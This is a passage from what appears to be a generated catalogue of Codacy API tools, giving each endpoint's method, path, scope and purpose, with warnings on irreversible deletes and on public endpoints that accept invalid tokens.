Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tokens/{tokenId}. Scopes: api. codacy_delete_organizations_by_provider_by_remoteorganizationname_security_managers_by_userid (write, destructive) — Revoke the Security Manager role from an organization member via DELETE /organizations/{provider}/{remoteOrganizationName}/security/managers/{userId}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/security/managers/{userId}. Scopes: api. codacy_delete_user (write, destructive) — Delete the authenticated user via DELETE /user. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/user. Scopes: api. codacy_delete_user_enterprise_integrations_by_provider (write, destructive) — Delete an Enterprise account token via DELETE /user/enterprise/integrations/{provider}. This endpoint allows the authenticated user to delete a GitHub Enterprise account token. The token will no longer be used to access enterprise-level resources on GitHub. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/user/enterprise/integrations/{provider}. Scopes: api. codacy_delete_user_integrations_by_provider (write, destructive) — Delete an integration for the authenticated user via DELETE /user/integrations/{provider}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/user/integrations/{provider}. Scopes: api. codacy_delete_user_tokens_by_tokenid (write, destructive) — Delete an account API token for the authenticated user by ID via DELETE /user/tokens/{tokenId}. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. DELETE /api/v1/codacy/user/tokens/{tokenId}. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_pull_requests (read) — List organization pull requests from repositories that the user has access to via GET /analysis/organizations/{provider}/{remoteOrganizationName}/pull-requests. You can sort by last-updated (default), merged GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/pull-requests. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories (read) — List organization repositories with analysis information for the authenticated user via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories. For Bitbucket, you must URL encode the cursor before using it in subsequent API calls, as the pagination comes directly from the Git provider. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname (read) — Get a repository with analysis information for the authenticated user via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_analysis_progress (read) — Get the analysis progress of a repository via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/analysis-progress. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/analysis-progress. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_autoconfig_runs (read) — Get latest autoconfig run summary via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/autoconfig/runs. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/autoconfig/runs. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_autoconfig_status (read) — Get autoconfig run status via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/autoconfig/status. [Experimental] Fetch latest autoconfig run state managed (can be Requested, Running, Done or Failed) GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/autoconfig/status. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_category_overviews (read) — List analysis category overviews for a repository that the user has access to via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/category-overviews. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/category-overviews. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commit_statistics (read) — List commit analysis statistics for the last n days that have analysis data via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commit-statistics. Returns the last n days with available data. This means that the returned days may not match the last n calendar days. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commit-statistics. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits (read) — Return analysis results for the commits in a branch via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid (read) — Get analysis results for a commit via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid_clones (read) — List duplicate code blocks found in a commit via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/clones. Use the status parameter to filter by new or removed duplicates Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/clones. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid_deltastatistics (read) — Get analysis statistics of a commit via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/deltaStatistics. Returns the quality metric deltas introduced by a commit. The values of the metrics are 0 or null if Codacy didn't analyze the commit yet. To obtain the full analysis statistics for the repository use the endpoint getRepositoryWithAnalysis. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/deltaStatistics. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid_files (read) — List files of a commit with analysis results via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/files. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/files. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid_logs (read) — Get analysis logs for a commit via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/logs. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/logs. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_srccommituuid_deltaissues (read) — List the issues introduced or fixed by a commit via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{srcCommitUuid}/deltaIssues. Returns a list of issues introduced or fixed given a source commit SHA. By default, Codacy will calculate the issues by creating a delta between the source commit and its parent commit. As an alternative, you can also provide a destination commit to calculate the deltas. To list all issues in the repository, use searchRepositoryIssues. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{srcCommitUuid}/deltaIssues. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_issues_by_issueid (read) — Get information about an open issue in a repository via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/{issueId}. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/{issueId}. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_issues_hassuggestions (read) — Check if the repository has quick fix suggestions for a branch via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/hasSuggestions. If branch is not provided, the default branch is used. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/hasSuggestions. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_issues_patch (read) — Get quickfixes for issues in patch format via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/patch. If branch is not provided, the default branch is used. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/patch. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests (read) — List pull requests from a repository that the user has access to via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests. You can search this endpoint for either last-updated (default), merged Note: When applied to public repositories, this operation does not require authentication. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber (read) — Get pull request from a repository via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_clones (read) — List duplicate code blocks found in a pull request via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/clones. Use the status parameter to filter by new or removed duplicates Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/clones. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_commits (read) — Return analysis results for the commits in a pull request via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/commits. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/commits. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_coverage_status (read) — List all coverage reports uploaded for the common ancestor commit and head commit of a pull request branch via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/coverage/status. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/coverage/status. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_files (read) — List files of a pull request with analysis results via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/files. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/files. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_issues (read) — List issues found in a pull request via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/issues. Use the status parameter to filter by new or fixed issues Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/issues. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_issues_patch (read) — Get quickfixes for pull request issues in patch format via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/issues/patch. If branch is not provided, the default branch is used. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/issues/patch. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_logs (read) — Get analysis logs for a pull request via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/logs. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/logs. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_quality_settings (read) — Get quality settings for the specific repository via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/quality-settings. Deprecated: Use getQualitySettingsForRepository instead. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/quality-settings. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tools (read) — Get analysis tools settings of a repository via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tools_by_tooluuid_conflicts (read) — Patterns with Coding Standards conflicts for tool via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/conflicts. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/conflicts. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tools_by_tooluuid_patterns (read) — Patterns configuration for (repository, tool). Uses standard if applied, repository settings otherwise via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/patterns. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/patterns. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tools_by_tooluuid_patterns_by_patternid (read) — Patterns configuration for (repository, tool, pattern). Uses standard if applied, repository settings otherwise via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/patterns/{patternId}. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/patterns/{patternId}. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tools_by_tooluuid_patterns_overview (read) — Patterns overview for tool. Uses standard if applied, repository settings otherwise via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/patterns/overview. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/{toolUuid}/patterns/overview. Scopes: api. codacy_get_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_tools_conflicts (read) — Get tools with conflicts in a repository via GET /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/conflicts. GET /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/tools/conflicts. Scopes: api. codacy_get_commits_by_commitid (read) — Get information about a commit via GET /commits/{commitId}. GET /api/v1/codacy/commits/{commitId}. Scopes: api. codacy_get_configuration_status (read) — Get configuration status via GET /configuration/status. Get configuration status PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. GET /api/v1/codacy/configuration/status. Scopes: api. codacy_get_coverage_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber (read) — Get pull request coverage information from a repository via GET /coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}. Scopes: api. codacy_get_coverage_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_diff (read) — Get the human-readable Git diff of a pull request via GET /coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/diff. Deprecated: Use getDiffBetweenCommits instead. GET /api/v1/codacy/coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/diff. Scopes: api. codacy_get_coverage_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_files (read) — Get pull request files coverage information from a repository via GET /coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/files. Note: When applied to public repositories, this operation does not require authentication. GET /api/v1/codacy/coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/files. Scopes: api. codacy_get_coverage_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_reanalyze (write) — Triggers the reanalysis of the latest coverage report uploaded for the pull request via GET /coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/reanalyze. GET /api/v1/codacy/coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/reanalyze. Scopes: api. codacy_get_duplicationtools (read) — Retrieve the list of duplication tools via GET /duplicationTools. PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. GET /api/v1/codacy/duplicationTools. Scopes: api. codacy_get_enterprises_by_provider (read) — List user enterprises via GET /enterprises/{provider}. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/enterprises/{provider}. Scopes: api. codacy_get_enterprises_by_provider_by_enterprisename (read) — Get an enterprise via GET /enterprises/{provider}/{enterpriseName}. GET /api/v1/codacy/enterprises/{provider}/{enterpriseName}. Scopes: api. codacy_get_enterprises_by_provider_by_enterprisename_metrics_ready (read) — Retrieve metrics that are ready for each organization in an enterprise via GET /enterprises/{provider}/{enterpriseName}/metrics/ready. Retrieve the list of metrics that have completed data collection for each organization in the enterprise. GET /api/v1/codacy/enterprises/{provider}/{enterpriseName}/metrics/ready. Scopes: api. codacy_get_enterprises_by_provider_by_enterprisename_organizations (read) — Get the organizations of an enterprise via GET /enterprises/{provider}/{enterpriseName}/organizations. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/enterprises/{provider}/{enterpriseName}/organizations. Scopes: api. codacy_get_enterprises_by_provider_by_enterprisename_seats (read) — Get enterprise seats via GET /enterprises/{provider}/{enterpriseName}/seats. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/enterprises/{provider}/{enterpriseName}/seats. Scopes: api. codacy_get_health (read) — Health check endpoint via GET /health. Health check endpoint PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. GET /api/v1/codacy/health. Scopes: api. codacy_get_languages_tools (read) — Retrieve the list of languages supported by available tools via GET /languages/tools. PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. GET /api/v1/codacy/languages/tools. Scopes: api. codacy_get_login_integrations (read) — List configured login providers on Codacy's platform via GET /login/integrations. List configured login providers on Codacy's platform PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/login/integrations. Scopes: api. codacy_get_metricstools (read) — Retrieve the list of metrics tools via GET /metricsTools. PUBLIC ENDPOINT: measured 2026-09-23, Codacy answers this call 200 with a deliberately bogus api-token, so a successful result here proves nothing about whether this connection's credential is valid. GET /api/v1/codacy/metricsTools. Scopes: api. codacy_get_onboarding_organizations_by_provider_by_remoteorganizationname_progress (read) — Retrieve the onboarding progress of an organization via GET /onboarding/organizations/{provider}/{remoteOrganizationName}/progress. GET /api/v1/codacy/onboarding/organizations/{provider}/{remoteOrganizationName}/progress. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname (read) — Get organization via GET /organizations/{provider}/{remoteOrganizationName}. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_ai_risk_checklist (read) — Get AI Risk Checklist for an organization via GET /organizations/{provider}/{remoteOrganizationName}/ai-risk-checklist. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/ai-risk-checklist. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_audit (read) — Retrieve the audit logs for the organization via GET /organizations/{provider}/{remoteOrganizationName}/audit. Only available on Business plan. Requires organization admin or organization manager role. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/audit. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_billing (read) — Get detailed information about organization billing via GET /organizations/{provider}/{remoteOrganizationName}/billing. Get detailed information about organization billing GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/billing. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_billing_card (read) — Get card information about organization billing via GET /organizations/{provider}/{remoteOrganizationName}/billing/card. Get card information about organization billing GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/billing/card. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_billing_estimation (read) — Get a billing estimation via GET /organizations/{provider}/{remoteOrganizationName}/billing/estimation. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/billing/estimation. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_coding_standards (read) — List the coding standards for an organization, including draft coding standards via GET /organizations/{provider}/{remoteOrganizationName}/coding-standards. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid (read) — Get a coding standard via GET /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_repositories (read) — List the repositories that are using a coding standard via GET /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/repositories. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/repositories. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_tools (read) — List tools in a coding standard via GET /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_tools_by_tooluuid_patterns (read) — List the code patterns configured for a tool in a coding standard via GET /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools/{toolUuid}/patterns. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools/{toolUuid}/patterns. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_tools_by_tooluuid_patterns_overview (read) — Get patterns overview for a coding standard tool via GET /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools/{toolUuid}/patterns/overview. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools/{toolUuid}/patterns/overview. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_commit_by_commitid (read) — Get information about a commit via GET /organizations/{provider}/{remoteOrganizationName}/commit/{commitId}. Use /commits/{commitId} instead. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/commit/{commitId}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_dast_targets (read) — List configured DAST targets via GET /organizations/{provider}/{remoteOrganizationName}/dast/targets. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/dast/targets. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_gate_policies (read) — List the gate policies for an organization via GET /organizations/{provider}/{remoteOrganizationName}/gate-policies. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_gate_policies_by_gatepolicyid (read) — Get a gate policy via GET /organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_gate_policies_by_gatepolicyid_repositories (read) — List all repositories following a gate policy via GET /organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}/repositories. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}/repositories. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_gitproviderapppermissions (read) — Get the status of Codacy Git provider app permissions for an organization via GET /organizations/{provider}/{remoteOrganizationName}/gitProviderAppPermissions. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gitProviderAppPermissions. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_images (read) — List Docker images for an organization via GET /organizations/{provider}/{remoteOrganizationName}/images. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/images. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_images_by_imagename_tags (read) — List Docker image tags for an organization via GET /organizations/{provider}/{remoteOrganizationName}/images/{imageName}/tags. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/images/{imageName}/tags. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_integrations_jira (read) — Get the Jira integration of the organization via GET /organizations/{provider}/{remoteOrganizationName}/integrations/jira. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_integrations_jira_projects (read) — Get available Jira projects for the organization via GET /organizations/{provider}/{remoteOrganizationName}/integrations/jira/projects. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira/projects. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_integrations_jira_projects_by_jiraprojectid_issuetypes (read) — Get available issue types for a Jira project via GET /organizations/{provider}/{remoteOrganizationName}/integrations/jira/projects/{jiraProjectId}/issueTypes. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira/projects/{jiraProjectId}/issueTypes. Scopes: api. codacy_get_organizations_by_provider_by_remoteorganizationname_integrations_jira_projects_by_jiraprojectid_issuetypes_by_jiraissuetypeid_fields (read) — Get available fields by issue type for a Jira project via GET /organizations/{provider}/{remoteOrganizationName}/integrations/jira/projects/{jiraProjectId}/issueTypes/{jiraIssueTypeId}/fields. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. GET /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira/projects/{jiraProjectId}/issueTypes/{jiraIssueTypeId}/fields. Scopes: api. 